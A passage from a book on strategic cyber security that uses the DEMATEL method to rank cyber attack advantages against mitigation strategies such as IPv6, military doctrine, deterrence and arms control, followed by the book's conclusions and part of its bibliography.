at using legitimate paths to network access, such as by guessing or stealing a password. Second, it is hard to inspect something that is difficult to count: a USB Flash drive now holds up to 256 GB or 454 IPv4 contains around 4 billion IP addresses; IPv6 has 340 undecillion, or 50 octillion IPs for every human on planet Earth. 455 Geers & Eisen, 2007. 456 Geers, 2010b. 457 Markoff & Kramer, 2009a: Russian negotiators have long argued that an international treaty, similar to those that have been signed for WMD, could help to mitigate the cyber threat. In 2009, the U.S. was reportedly more willing to discuss this proposal than in the past. 141 DEMATEL and Strategic Analysis over 2 trillion bits of data, and in the U.S. alone, there are over 400 million Internet- connected computers.458 A summary of the four mitigation strategies and their relative effectiveness is de- picted in Fig. 4. Strategy Evaluation All could help ... But each is only a partial solution IPv6 > Increases attribution by lowering anonymity IPsec authenticates, encrypts; not mandatory Long, dangerous transition phase > Art of War > Sun Tzu good but not perfect Concepts, law behind tech curve Cyber warfare has distinctive characteristics > Deterrence > Denial difficult, hacker skills easy to acquire Punishment lacks credibility Low attribution, high asymmetry, no one dies > Arms Control > How to prohibit what is hard to define? How to inspect cyberspace? Political will could change dynamics > Figure 4. Mitigation Strategy Effectiveness. This chapter summarized the key concepts, or influencing factors, in this research. The next chapter will examine the two most important concept categories – “key cyber attack advantages” and “cyber attack mitigation strategies” – with the aid of DEMATEL. The goal is to derive a more precise conclusion to this book via stronger scientific method. 458 Geers, 2010c. 142 DATA ANALYSIS AND RESEARCH RESULTS 10. KEY FINDINGS The author will employ the DEMATEL method to analyze the two most important categories of influencing factors in this research – cyber attack advantages and cy- ber attack mitigation strategies – with four primary objectives in mind: • to understand how the key concepts in this book, both individually and cat- egorically, influence one another; • to visualize the system they comprise with the aid of a causal loop diagram; • to understand the extent to which the system may be controllable; and • to prioritize the mitigation strategies for decision makers according to their impact on reducing the cyber attack advantages and on positively affecting the system of strategic cyber security as a whole. The “Expert Knowledge” Matrix Matrix X, depicted in Fig. 5, is a DEMATEL “Expert Knowledge” influence matrix that juxtaposes the cyber attack advantages and mitigation strategies according to their level of influence on one another. The advantages are lettered A-E, and the strategies are F-I. Each individual influence value in the matrix is based on the research presented in this book and on the author’s judgment as a subject matter expert with over ten years working as a cyber intelligence analyst. As detailed in the Bibliography, the author has published peer-reviewed research examining and evaluating the efficacy of all nine influence factors. For future research purposes, it is clear that different influence estimates will per- tain in different national contexts, and that the dynamic nature of cyberspace will ensure that most if not all the variables will change over time. The reader is thus encouraged to tailor the matrix to his or her needs and to ag- gregate or disaggregate individual influence factors for more general or for more specific research goals. The mathematics, however, are well-founded, and remain the same. 143 Key Findings A B C D E F G H I DEMATEL “Expert Knowledge” Influence Matrix X None =0 Low=1 Medium=2 High=3 Very High=4 IT Vulnerabilities Asymmetry Anonymity Inadequate Cyber Defense Emp. Non-State Actors Next Gen Internet: IPv6 Best Mil Doctrine: Sun Tzu Cyber Attack Deterrence Cyber Arms Control Direct Influence A IT Vulnerabilities 0 4 4 4 3 3 2 3 3 26 B Asymmetry 2 0 1 4 4 2 4 4 3 24 C Anonymity 2 4 0 4 4 4 4 4 4 30 D Inadequate Cyber Defense 4 3 3 0 2 2 3 4 2 23 E Empowered Non-State Actors 1 2 2 1 0 2 4 3 3 18 F Next Gen Internet: IPv6 3 2 4 2 1 0 2 2 2 18 G Best Mil Doctrine: Sun Tzu 3 3 2 4 2 1 0 4 2 21 H Cyber Attack Deterrence 1 2 2 2 2 1 2 0 3 15 I Cyber Arms Control 1 1 2 2 2 1 2 3 0 14 Level Influenced 17 21 20 23 20 16 23 27 22 Figure 5. DEMATEL “Expert Knowledge” Influence Matrix X. A quick glance at Matrix X shows that it is dominated by the cyber attack advan- tages, which are much more influential in this system of influences than the mitiga- tion strategies. The average “direct influence” strength of the advantages is 24.2, versus a mitigation strategy average of 17. The attack advantages also possess the overwhelming majority of scoring at the “very high” influence level: 17 to 3. This result appears intuitive. It correlates to the common perception in the world to- day that cyber attackers have enormous advantages over their cyber defense coun- terparts. Fig. 6, below, ranks all factors in Matrix X by the simple addition of their individual influence levels, by row. To keep them visually distinct, the advantages are in yellow, and the mitigation strategies are colored dark green. 144 DATA ANALYSIS AND RESEARCH RESULTS Factor Direct Influence C Anonymity 30 A IT Vulnerabilities 26 B Asymmetry 24 D Inadequate Cyber Defense 23 G Best Mil Doctrine: Sun Tzu 21 E Empowered Non-State Actors 18 F Next Gen Internet: IPv6 18 H Cyber Attack Deterrence 15 I Cyber Arms Control 14 Figure 6. “Direct Influence” by Factor. According to Matrix X, the most influential factor in strategic cyber security today is the ability of so many cyber attackers to remain anonymous to their victims. The second most important factor is the seemingly endless list of IT vulnerabilities from which cyber attackers are able to choose. The most effective mitigation strategy in this list, and the only one to rank as more influential than any one of the attacker advantages, is the application of the world’s most influential military treatise, Sun Tzu’s Art of War, to cyber conflict. The least influential mitigation strategy is cyber arms control, which suffers enormously from the fact that it is difficult to define a cyber weapon and even more difficult to conduct a cyber weapons inspection. Fig. 7 adds the columns of Matrix X in order to show each factor’s level of suscepti- bility to influence from the other factors in the matrix. 145 Key Findings Factor Susceptibility to Influence H Cyber Attack Deterrence 27 G Best Mil Doctrine: Sun Tzu 23 D Inadequate Cyber Defense 23 I Cyber Arms Control 22 B Asymmetry 21 E Empowered Non-State Actors 20 C Anonymity 20 A IT Vulnerabilities 17 F Next Gen Internet: IPv6 16 Figure 7. Susceptibility to Influence. The results are intriguing: both the highest- and lowest-ranked factors are miti- gation strategies. This appears illogical, but a closer look reveals why. The most influenced factor in Matrix X – deterrence – is a purely psychological condition, highly dependent on human perception and emotion; thus, it is not surprising that deterrence would be highly susceptible to outside influence. The least influenced factor is IPv6, which is pure technology and therefore tied to human failings to a far lesser degree. Unfortunately for cyber defense, this list shows that cyber attack advantages not only have a higher “direct influence” score than the mitigation strategies, but that they are also more resistant to outside influence. In Fig. 7, the mitigation strategies have an average score of 22, compared to just 20.2 for the advantages. IPv6 scores well, but the other three strategies do not. One way to interpret Fig. 7 is to view the “susceptibility to influence” score as a measure of a factor’s reliability, as well as the confidence that a decision maker could place in it. Thus, cyber attackers are able to rely on their advantages to a much greater degree than cyber defenders can count on current attack mitigation strate- gies. At this point in time, three examined strategies – deterrence, doctrine, and arms control – are of dubious help to cyber defense. Perhaps even more ominously, the two most influential cyber attack advantages – anonymity and IT vulnerabilities – are also the two most difficult cyber attack ad- vantages to influence. Thus, they may prove extremely difficult challenges for cyber defenders to overcome in the future. 146 DATA ANALYSIS AND RESEARCH RESULTS On a positive note, Fig. 7 shows that finding ways to improve cyber defense, such as by hiring the right personnel and by providing them quality training, could yield a high return on investment. “Inadequate cyber defense” has the fourth-highest “di- rect influence” score in Matrix X, and it is also the third-highest factor in terms of susceptibility to outside influence. This makes it a critical factor in the strategic cyber security environment. Causal Loop Diagram The next step in DEMATEL analysis involves constructing a causal loop diagram, as seen in Fig. 8. Such a visual representation of complex data can facilitate human understanding by making the information clearer and more compelling. All factors are placed into a systemic cause-and-effect illustration. In general, the fewer number of parameters that a system contains, the easier it is to control, and the easier it is to display in a graph. Matrix X is large enough – 9x9, or 81 values – that it is already a complex system. In order to make the diagram most useful for this analysis, the author has chosen to display only the “very high” levels of influence between the factors in Matrix X. Figure 8. Strategic Cyber Security: Causal Loop Diagram. 147 Key Findings The color of each factor is shaded according to the number of “very high” levels of influence it projects to the other factors in the system. Thus, as “anonymity” is the most influential factor in Matrix X, it has the darkest color of all factors in Fig. 8. Anonymity impacts almost every other factor in the system at the highest possible level. Two factors, deterrence and arms control, remain white because they do not affect any other factor at the highest level. These are the least influential factors in Matrix X, in Fig. 6, and in this diagram. Cyber attack deterrence, in particular, is dominated by four other, high-impact factors, making it the most susceptible of all factors to outside influence, and the least reliable mitigation strategy for strategic cyber de- fense. A causal loop diagram reveals another key aspect of the interrelationship between factors in a system: some have multiple important connections to other factors, re- gardless of whether the influence is given or received, while others have few. After anonymity – asymmetry, military doctrine, and inadequate cyber defense each have at least five “very high” influence relationships with other factors. This allows them to play a critical role in the system. If decision makers are able to change the nature of any one of these factors in a significant way, the resultant impact on the system as a whole could be considerable. Calculating Indirect Influence A close analysis of the causal loop diagram above reveals that each factor not only has a direct influence on every other factor in the system, but that it also has indirect or transitive influences on the other factors. Eventually, every factor in the system will even influence itself. Fig. 9 below depicts the dynamic of indirect influence at work. Figure 9. Indirect Influence. 148 DATA ANALYSIS AND RESEARCH RESULTS The DEMATEL method is one of the easiest and most useful ways to calculate the sum of direct and indirect influences for a group of interrelated factors.459 First, Matrix X is transformed into normalized Matrix D. The new numbers are derived by dividing the values in Matrix X by the single highest sum found in the rows/ columns, which is Anonymity (whose “direct influence” score is 30). Thus, the new influence levels are: 0=0, 1=.0333, 2=.0667, 3=.1000, and 4=.1333. Matrix D is depicted in Fig. 10. A B C D E F G H I DEMATEL Normalized Matrix D IT Vulnerabilities Asymmetry Anonymity Inadequate Cyber Defense Empowered Non-State Actors Next Gen Internet: IPv6 Best Mil Doctrine: Sun Tzu Cyber Attack Deterrence Cyber Arms Control A IT Vulnerabilities 0 .1333 .1333 .1333 .1000 .1000 .0667 .1000 .1000 B Asymmetry .0667 0 .0333 .1333 .1333 .0667 .1333 .1333 .1000 C Anonymity .0667 .1333 0 .1333 .1333 .1333 .1333 .1333 .1333 D Inadequate Cyber Defense .1333 .1000 .1000 0 .0667 .0667 .1000 .1333 .0667 E Empowered Non-State Actors .0333 .0667 .0667 .0333 0 .0667 .1333 .1000 .1000 F Next Gen Internet: IPv6 .1000 .0667 .1333 .0667 .0333 0 .0667 .0667 .0667 G Best Mil Doctrine: Sun Tzu .1000 .1000 .0667 .1333 .0667 .0333 0 .1333 .0667 H Cyber Attack Deterrence .0333 .0667 .0667 .0667 .0667 .0333 .0667 0 .1000 I Cyber Arms Control .0333 .0333 .0667 .0667 .0667 .0333 .0667 .1000 0 Figure 10. DEMATEL-Normalized Matrix D. 459 Moghaddam et al, 2010. 149 Key Findings Second, Matrix D is transformed into “Total Influence” Matrix T, in which DEMATEL calculates both the direct and indirect influence levels for each factor.460 Matrix T is illustrated in Fig. 11. A B C D E F G H I DEMATEL “Total Influence” Matrix T IT Vulnerabilities Asymmetry Anonymity Inadequate Cyber Defense Empowered Non-State Actors Next Gen Internet: IPv6 Best Mil Doctrine: Sun Tzu Cyber Attack Deterrence Cyber Arms Control Direct Influence A IT Vulnerabilities .1850 .3441 .3298 .3645 .3095 .2643 .3114 .3799 .3285 2.8170 B Asymmetry .2257 .1954 .2186 .3324 .3075 .2077 .3365 .3747 .2979 2.4964 C Anonymity .2664 .3632 .2310 .3867 .3556 .3047 .3911 .4366 .3785 3.1138 D Inadequate Cyber Defense .2842 .2944 .2801 .2223 .2579 .2162 .3101 .3771 .2753 2.5176 E Empowered Non-State Actors .1562 .2117 .2022 .1997 .1448 .1738 .2856 .2867 .2508 1.9115 F Next Gen Internet: IPv6 .2274 .2305 .2765 .2462 .1947 .1295 .2427 .2740 .2374 2.0589 G Best Mil Doctrine: Sun Tzu .2420 .2749 .2329 .3201 .2397 .1712 .1999 .3555 .2550 2.2912 H Cyber Attack Deterrence .1386 .1906 .1821 .2038 .1884 .1304 .2063 .1687 .2289 1.6378 I Cyber Arms Control .1317 .1543 .1755 .1937 .1791 .1242 .1961 .2482 .1290 1.5318 Indirect Influence 1.8572 2.2591 2.1287 2.4694 2.1772 1.7220 2.4797 2.9014 2.3813 Figure 11. “Total Influence” Matrix T. The indirect influences not only transform the matrix, but also transform our under- standing of the nature of the system. Indirect influences are “feedback” influences, which allow each factor to influence every other factor in the system, and over time, to influence even itself. 460 The DEMATEL formula here is T=D * (E-D)^-1, where E is the identity matrix. Analyzing Total Influence Based on DEMATEL-calculated indirect influences, Fig. 12 reveals a more complete picture of cause and effect, based on the “total influence” of each factor within the system. Factor Direct Influence Index Indirect Influence Index Total Influence *** Anonymity 3.1138 2.1287 5.2425 Inadequate Cyber Defense 2.5176 2.4694 4.9870 Best Mil Doctrine: Sun Tzu 2.2912 2.4797 4.7709 Asymmetry 2.4964 2.2591 4.7555 IT Vulnerabilities 2.8170 1.8572 4.6742 Cyber Attack Deterrence 1.6378 2.9014 4.5392 Empowered Non-State Actors 1.9115 2.1772 4.0887 Cyber Arms Control 1.5318 2.3813 3.9131 Next Gen Internet: IPv6 2.0589 1.7220 3.7809 Figure 12. Initial Total Influence Index. The combined direct and indirect “total influence” calculation yields an alternative ranking of the factors. Here, the top four are the same factors identified in the causal loop diagram as having the highest number of very influential relationships with other factors, regardless of whether the influence was given or received. Anonymity is still the most important factor in the system. However, the addition of indirect influence scores reorders other factors in the list. Inadequate cyber defense and military doctrine surpassed IT vulnerabilities and asymmetry in importance (compared to Fig. 6), while deterrence and arms control gained influence at the ex- pense of non-state actors and IPv6. The final step of this DEMATEL analysis subtracts the indirect influences from the direct influences in Fig. 12 to create a final normalized total influence index, which is shown in Fig. 13. 150 DATA ANALYSIS AND RESEARCH RESULTS 151 Key Findings DEMATEL Normalized “Total Influence” Index Score 1 Anonymity .9851 2 IT Vulnerabilities .9598 3 Next Gen Internet: IPv6 .3369 4 Asymmetry .2373 5 Inadequate Cyber Defense .0481 6 Best Mil Doctrine: Sun Tzu -.1886 7 Empowered Non-State Actors -.2654 8 Cyber Arms Control -.8496 9 Cyber Attack Deterrence -1.2636 Figure 13. Final Total Influence Index. After this final calculation, the overall ranking by factor returns closer to the origi- nal direct influence ranking in Fig. 6. In fact, the order of the cyber attack advan- tages is unchanged, as seen in Fig. 14. BEFORE AFTER 1. Anonymity 1. Anonymity 2. IT Vulnerabilities 2. IT Vulnerabilities 3. Asymmetry 3. Asymmetry 4. Inadequate Cyber Defense 4. Inadequate Cyber Defense 5. Empowered Non-State Actors 5. Empowered Non-State Actors Figure 14. Cyber Attack Advantage Summary. However, there is now a much larger statistical gap between the two most impor- tant factors, anonymity and IT vulnerabilities, and the third and fourth place cyber attack advantages, asymmetry and inadequate cyber defense. Non-state actors re- ceived a negative overall score in the final index, which indicates that this concept is a net receiver, and not provider, of influence in the system of strategic cyber security today. The movement of the mitigation strategies in the final index is much more striking. Fig. 15 reveals that all four strategies moved in the list, especially IPv6, which was the only factor in the system to move more than one place in the overall ranking order. BEFORE AFTER 1. Doctrine: Sun Tzu 1. Next Gen Net: IPv6 2. Next Gen Net: IPv6 2. Doctrine: Sun Tzu 3. Deterrence 3. Arms Control 4. Arms Control 4. Deterrence Figure 15. Mitigation Strategy Summary. Following the final DEMATEL “total influence” calculation, IPv6 rose to the third- highest factor in strategic cyber security, behind only anonymity and IT vulner- abilities. Fig. 16 summarizes the factor rankings, before and after the inclusion of indirect influence scoring. Anonymity 30 Anonymity .9851 IT Vulnerabilities 26 IT Vulnerabilities .9598 Asymmetry 24 Next Gen Net: IPv6 .3369 Inadequate Cyber Defense 23 Asymmetry .2373 Doctrine: Sun Tzu 21 Inadequate Cyber Defense .0481 Empowered Non-State Actors 18 Doctrine: Sun Tzu -.1886 Next Gen Net: IPv6 18 Empowered Non-State Actors -.2654 Deterrence 15 Arms Control -.8496 Arms Control 14 Deterrence -1.2636 Figure 16. DEMATEL Indirect Influence Summary. This research suggests that IPv6 has the potential to be a more influential factor in strategic cyber security than three current cyber attack advantages, including asymmetry and inadequate cyber defense. This result is the most significant revela- tion in this study. DEMATEL analysis highlights two powerful IPv6 attributes. First, IPv6 is extremely resistant to outside influence, so it is more “reliable” than other factors in the system. Second, IPv6 influences the single most powerful cyber attack advantage, anonym- 152 DATA ANALYSIS AND RESEARCH RESULTS 153 ity, at a “very high” level. These factors combine, via indirect influence calculations, to radiate the impact of IPv6 throughout the system and to magnify its importance. Thus, for decision makers, this research suggests that IPv6 is currently the single most efficient way to change the dynamics of strategic cyber security in favor of cyber defense. Fig. 17 is a modified causal loop diagram which specifically highlights the signifi- cant influence relationship between IPv6 and the rest of the system. Figure 17. Causal Loop Diagram: IPv6 System Impact. All three other mitigation strategies received negative scores in the final index (Fig. 13), which means they are net receivers, and not providers, of influence in the sys- tem. The second place mitigation strategy is the application of the world’s best mili- tary doctrine, Art of War, to cyber conflict. It is the only other mitigation strategy to finish ahead of even one cyber attack advantage. Cyber arms control and deterrence remain at the bottom of the list, for reasons cited earlier in this book. In summary, this analysis suggests that, even beyond the four cyber attack mitiga- tion strategies evaluated by the author, decision makers could prioritize their invest- ment in other mitigation strategies by category, according to the following formula. Key Findings 154 DATA ANALYSIS AND RESEARCH RESULTS 1. Technical 2. Military 3. Political A technology-centric approach has a greater DEMATEL-calculated influence on the system of strategic cyber security due in part to the fact that it is more reliable than counting on a human-dependent approach – especially when politics come into play. Thus, IPv6 finished first in this list of strategies, and arms control (a hybrid politi- cal/technical approach) moved ahead of deterrence (which relies only on political/ military factors) in the final calculation. 155 V. CONCLUSION 11. RESEARCH CONTRIBUTIONS In the post-World War II era, cyber security has evolved from a technical discipline to a strategic concept. The power of the Internet, our growing dependence upon it, and the disruptive capability of cyber attackers now threaten national and interna- tional security. The nature of a security threat has not changed, but the Internet provides a new delivery mechanism that can increase the speed, scale, and power of an attack. National critical infrastructures are now at risk – not only during war, but also in times of peace. As a consequence, all future political and military conflicts will have a cyber dimension, whose size and impact are difficult to predict. World leaders must address the threat of strategic cyber attacks with strategic re- sponses in favor of cyber defense. In this book, the author examines four strategies that nation-states will likely adopt to mitigate the cyber attack threat: deterrence, arms control, doctrine, and technology. Cyber attack deterrence lacks credibility because hacker skills are easy to acquire, and because attackers are often able to conduct high-asymmetry attacks even while remaining anonymous to their victims. Cyber arms control appears unlikely, because cyberspace is too big to inspect, and malicious code is even hard to define. However, political will, perhaps in the wake of a future cyber attack, could change the status quo. The world’s best military doctrine, Art of War, is more helpful than the first two strategies, but there are at least ten distinctive aspects of the cyber battlefield, none of which fits easily into Sun Tzu’s paradigm. IPv6 answers some of our current security problems, but unfortunately it also cre- ates new problems, including a necessarily long and dangerous transition phase. However, in spite of the shortcomings of IPv6, the DEMATEL method clearly shows that among the four examined mitigation strategies, IPv6 is the most likely to have a tangible impact on reducing the key advantages of a cyber attacker, and thus it is the most likely strategy to improve a nation’s strategic cyber defense posture. The simple reason is that it can reduce the most influential advantage of a cyber attacker, anonymity, and it does so with a higher degree of reliability than the other factors 156 CONCLUSION in this research. Thus, the influence of IPv6 grows over time and impacts all other factors in strategic cyber security. DEMATEL provided a way to analyze the four proposed mitigation strategies with scientific rigor. It calculated specific levels of influence for each key concept identi- fied, and it created a causal loop diagram of the system they comprise. Finally, it calculated the most efficient way – among the four strategies in question – to reduce the threat of strategic cyber attack. The contributions of this book are summarized as follows: • an argument that computer security has evolved from a technical discipline to a strategic concept; • the evaluation of four distinct strategic approaches to mitigate the cyber at- tack threat and to improve a nation’s cyber defense posture; • the use of the Decision Making Trial and Evaluation Laboratory (DEMATEL) to analyze this book’s key concepts; and • the recommendation to policy makers of IPv6 as the most efficient of the four cyber defense strategies. Suggestions for Future Research The DEMATEL method has helped to clarify the landscape of strategic cyber secu- rity. The author believes that DEMATEL could also be used to examine other out- standing problems related to cyber security. Here are three possibilities: Can a cyber attack be an act of war?461 The dynamic nature of cyberspace makes it difficult to predict the next cyber attack, or how serious it could be. An effects-based approach seems inevitable: if the level of human suffering or economic damage is high enough, national leaders will retaliate. This applies both to government and private sector critical infrastructures. A key challenge for national security planners is that the hacker tools and techniques required for cyber espionage are often the same as for cyber attack.462 The difference lies in motivation: does the hacker desire merely to steal information, or is the attack a prelude to war? Can we solve the attribution problem? Smart hackers exploit the international, maze-like architecture of the Internet to conduct anonymous or deniable cyber at- 461 More precisely, the question may be whether a cyber attack could be considered an “armed attack” as specified by the UN Charter. 462 These may be differentiated by the terms computer network exploitation (CNE) and computer net- work attack (CNA). 157 tacks. The trail of evidence often runs through countries with which the victim’s government has poor diplomatic relations or no law enforcement cooperation, and cyber investigations typically end at a hacked, abandoned computer, where the trail goes cold. This dynamic encourages “false flagging” operations – where the attacker tries to pin the blame on a third party – and creates an environment in which even terrorists can find a home on the Internet.463 Solving the attribution problem will require harmonizing cyber crime laws, improving cyber defense methods, and gen- erating the political will to share evidence and intelligence. Can we shift the advantage to cyber defense? Hackers today have enormous ad- vantages over cyber defenders, including anonymity and asymmetry. In fact, if there is a future war between major world powers, a significant degree of the fighting may take place in cyberspace, and the first victim of the conflict could even be the Internet itself. To shift the balance, cyber defenders require a higher level of trust in hardware and software,464 improved performance metrics for defense strategies, and the ability to realistically model the hacker threat in a laboratory. Because it is impossible to eliminate all malicious code from a network, cyber defenders need better ways to neutralize what they cannot find. Governments could also require Internet Service Providers (ISP) to play a more helpful role in preventing the spread of malware. 463 Gray & Head, 2009. 464 Supply chain subversion, i.e. inserting malicious code in the design or production phase of product development, can be almost impossible to detect by the end user. 158 BIBLIOGRAPHY VI. BIBLIOGRAPHY “53/70: Developments in the field of information and telecommunications in the context of international security,” (4 Jan 1999) United Nations General Assembly Resolution: Fifty-Third Session, Agenda Item 63. Acoca, B. (Jul 2008) “Online identity theft,” The OECD Observer, Organisation for Economic Cooperation and Development, 268, 12. “Active Engagement, Modern Defence: Strategic Concept for the Defence and Security of the Members of the North Atlantic Treaty Organisation,” (2010) NATO website: www.nato.int. Adams, J. (2001) “Virtual Defense,” Foreign Affairs 80(3) 98-112. “Advisory 01-009, Increased Internet Attacks against U.S. Web Sites and Mail Servers Possible in Early May,” (26 Apr 2001) Federal Bureau of Investigation (FBI) National Infrastructure Protection Center (NIPC). “Air Force Association; Utah’s Team Doolittle Wins CyberPatriot II in Orlando,” (10 Mar 2010) Defense & Aerospace Business, 42. Aitoro, J.R. (2 Oct 2009) “Terrorists nearing ability to launch big cyberattacks against U.S.” NextGov: www.nextgov.com. Allen, P.D. & Demchek, C.C. (Mar-Apr 2003) “The Cycle of Cyber Conflict,” Military Review. Anonymous. (28 Mar 2009) “Thai cybercrime law denounced as ‘threat to freedom’.” Bangkok Post website, Bangkok, Thailand in English, reported by BBC Monitoring Asia Pacific (29 Mar 2009). Arquilla, J. & Ronfeldt, D. (Apr 1993) “Cyberwar is Coming!” Comparative Strategy 12(2) 141- 165. Barnes, J.E. (28 Nov 2008) “Pentagon computer networks attacked,” Los Angeles Times. Barrera, D., Wurster, G., & van Oorschot, P.C. (14 Sep 2010) “Back to the Future: Revisiting IPv6 Privacy Extensions,” Carleton University School of Computer Science, Ottawa, ON, Canada. “Belarus,” Press Reference: www.pressreference.com/A-Be/Belarus. Bliss, J. (23 Feb 2010) “U.S. Unprepared for ‘Cyber War’, Former Top Spy Official Says,” Bloomberg Businessweek. Brodie, B. (1946) THE ABSOLUTE WEAPON: Atomic Power and World Order. New York: Harcourt, Brace and Co. Bullough, O. (15 Nov 2002) “Russians Wage Cyber War on Chechen Websites,” Reuters. Caterinicchia, D. (12 May 2003) “Air Force wins cyber exercise,” Federal Computer Week 17(14) 37. 159 Chan, W.H. (25 Sep 2006) “Cyber exercise shows lack of interagency coordination,” Federal Computer Week 20(33) 61. Chen, T. & Robert, J-M. (2004) “The Evolution of Viruses and Worms,” Statistical Methods in Computer Security, William W.S. Chen (Ed), (NY: CRC Press) Ch.16, 265-286. Churchman, D. (2005) Why we fight: theories of human aggression and conflict (MD: UP of America) Ch.2, 16. Cody, E. (13 Sep 2007) “Chinese Official Accuses Nations of Hacking,” Washington Post. Cole, E. (2002) Hackers Beware (London: New Riders) 727. Cole, L.A. (1996) “Countering Chem-Bio Terrorism: Limited Possibilities,” Politics and the Life Sciences 15(2) 196. “Common Vulnerabilities and Exposures List,” The MITRE Corporation: http://cve.mitre.org/. “Convention (IV) respecting the Laws and Customs of War on Land and its annex: Regulations concerning the Laws and Customs of War on Land,” (18 Oct 1907) The Hague, International Committee of the Red Cross. Crampton, T. (19 Mar 2006) “Innovation may lower Net users’ privacy,” The New York Times. “Cyber Command’s strategy becomes more clear,” (22 Mar 2011) Federal Computer Week, written by the Defense Systems Staff. “Cyber War: Sabotaging the System,” (8 Nov 2009) CBS: 60 Minutes. Dawson, R. (2003) Living Networks: Leading Your Company, Customers, and Partners in the Hyper-Connected Economy, Ch.7: “The Flow Economy: Opportunities and Risks in the New Convergence,” (New Jersey: Prentice Hall) 141-168. Denning, D.E. (2002) “Activism, Hacktivism, and Cyberterrorism: The Internet as a Tool for Influencing Foreign Policy,” Networks and Netwars: the Future of Terror, Crime, and Militancy, Arquilla, J. & Ronfeldt, D. (Eds.) (RAND Corporation) Ch.8, 239-288. Derene, G. (2009) “Weapon of Mass Disruption,” Popular Mechanics 186(4) 76. Divis, D.A. (9 Mar 2005) “Protection not in place for electric WMD,” UPI. Dobbs, M. (24 Oct 2001) “Online Agitators Breaching Barriers in Mideast: London-Based Saudi Dissidents and Fugitives Find Ways Around Government Censorship,” Washington Post. “Doctoring photos of Egypt’s Hosni Mubarak,” (21 Sep 2010) Economist. Dytczak, M. & Ginda, G. (2010) “Common Input Data Structure for Multiple MADA Methods Application for Objects Evaluation in Civil Engineering.” The 10th International Conference “Modern Building Materials, Structures and Techniques” (Vilnius Gediminas Technical University Publishing House “Technika”) 399–402. 160 BIBLIOGRAPHY Cody, E. (13 Sep 2007) “Chinese Official Accuses Nations of Hacking,” Washington Post. Eichin M.W. & Rochlis, J.A. (1989) “With Microscope and Tweezers: an Analysis of the Internet Virus of November 1988,” IEEE Computer Society Symposium on Security and Privacy 326- 343. “Espionage Report: Merkel’s China Visit Marred by Hacking Allegations,” (27 Aug 2007) Spiegel. Essex, D. (31 Jan 2008) “IPv6 in Japan,” Federal Computer Week. “Evidence Mounts of Pro-Serbian Internet Attack on NATO Countries,” (17 Apr 1999) mi2g: www.mi2g.com. Falkenrath, R.A. (26 Jan 2011) “From Bullets to Megabytes,” The New York Times. Freiling, F.C., Holz, T. & Wicherski, G. “Botnet Tracking: Exploring a Root-Cause Methodology to Prevent Distributed Denial-of-Service Attacks,” (2005) De Capitani di Vimercati, S. et al (Eds.) ESORICS 2005, Springer: LNCS 3679, 319-335. Fulghum, D.A. (2006) “Redefining Victory,” Aviation Week & Space Technology 165(10) 58. Fulghum, D.A., Wall, R. & Butler, A. (26 Nov 2007) “Cyber-Combat’s First Shot,” Aviation Week & Space Technology 167(21) 28. Gabus, A., & Fontela, E. (1973) “Perceptions of the World Problematique: Communication Procedure, Communicating with those Bearing Collective Responsibility,” DEMATEL Report No. 1 (Geneva: Battelle Geneva Research Centre). Gabus, A., & Fontela, E. (1972) “World Problems an Invitation to Further Thought within the Framework of DEMATEL,” (Geneva: Battelle Geneva Research Centre). Gardner, F. (10 May 2000) “Saudis ‘defeating’ internet porn,” BBC News Online. Gavi, S. (24 Nov 1999) “Crossing Censorship Boundaries,” The Middle East Online, Online Journalism Review (Modified: 4 Apr 2002). Geers K. (2010) “A Brief Introduction to Cyber Warfare,” Common Defense Quarterly (Spring) 16-17. Geers K. (2010b) “The challenge of cyber attack deterrence,” Computer Law and Security Review 26(3) 298-303. Geers, K. & Feaver, P. (2004) “Cyber Jihad and the Globalization of Warfare,” DEF CON, Black Hat. Geers K. (2009) “The Cyber Threat to National Critical Infrastructures: Beyond Theory,” The Information Security Journal: A Global Perspective 18(1) 1-7. Re-printed (2010) in Journal of Digital Forensic Practice 3(2) 124-130. Geers K. (2010c) “Cyber Weapons Convention,” Computer Law and Security Review 26(5) 547- 551. 161 Geers K. (2008) “Cyberspace and the Changing Nature of Warfare,” Hakin9 E-Book, 19(3) No. 6, SC Magazine (27 AUG 08), Black Hat 1-12. Geers K. (2011) “Demystifying Cyber Warfare,” forthcoming in per Concordiam 1-6. Geers K. (2011) “From Cambridge to Lisbon: the quest for strategic cyber defense,” in peer- review at Journal of Homeland Security and Emergency Management 1-16. Geers K. (2007a) “Greetz from Room 101,” DEF CON, Black Hat 1-24. Geers, K. (2005) “Hacking in a Foreign Language: a Network Security Guide to Russia,” DEF CON, Black Hat. Geers, K. & Eisen, A. (2007) “IPv6: World Update,” ICIW 2007: Proceedings of the 2nd International Conference on Information Warfare and Security 85-94. Geers K. (2010) “Live Fire Exercise: Preparing for Cyber War,” Journal of Homeland Security and Emergency Management 7(1) 1-16. Geers K. (9 Feb 2011) “Sun Tzu and Cyber War,” Cooperative Cyber Defence Centre of Excellence 1-23. Geers K. & Temmingh, R. (2009) “Virtual Plots, Real Revolution,” The Virtual Battlefield: Perspectives on Cyber Warfare, Czosseck, C. & Geers, K. (Eds) (Amsterdam: IOS Press) 294- 301. Gerth, J. & Risen, J. (2 May 1999) “1998 Report Told of Lab Breaches and China Threat,” The New York Times. Gibbs, W.W. (2000) “Red Team versus the Agents,” Scientific American 283(6) 20, 24. Giles, L. See Sun Tzu, below. Glendinning, L. (10 May 2006) “Briton faces extradition for ‘biggest ever military hack’,” Times Online. Goble, P. (9 Oct 1999) “Russia: analysis from Washington: a real battle on the virtual front,” Radio Free Europe/Radio Liberty. Godara, V. (2010) Strategic Pervasive Computing Applications: Emerging Trends (IGI Global) 39-40. Golding, D. (28 Feb 2006) “Do we really need to have IPv6 when Nat conserves address space and aids security?” Computer Weekly. Goldstein, E. (1 Jul 1999) “The Internet in the Mideast and North Africa: Free Expression and Censorship,” Human Rights Watch. Gomes, L. (31 Mar 2003) “How high-tech games can fail to simulate what happens in war,” Wall Street Journal. 162 BIBLIOGRAPHY Gorbachev, M. & Pfirter, R. (16 Jun 2009) “Disarmament lessons from the Chemical Weapons Convention,” Bulletin of the Atomic Scientists. Gorman, S. (17 Aug 2009b) “Cyber Attacks on Georgia Used Facebook, Twitter, Stolen IDs,” The Wall Street Journal. Gorman, S. (7 May 2009a) “FAA’s Air-Traffic Networks Breached by Hackers,” The Wall Street Journal. Gorman, S. (23 Mar 2010) “U.S. Aims to Bolster Overseas Fight Against Cybercrime,” The Wall Street Journal. Gorman, S., Cole, A. & Dreazen, Y. (21 Apr 2009) “Computer Spies Breach Fighter-Jet Project,” The Wall Street Journal. “Government-Imposed Filtering Schemes Violate 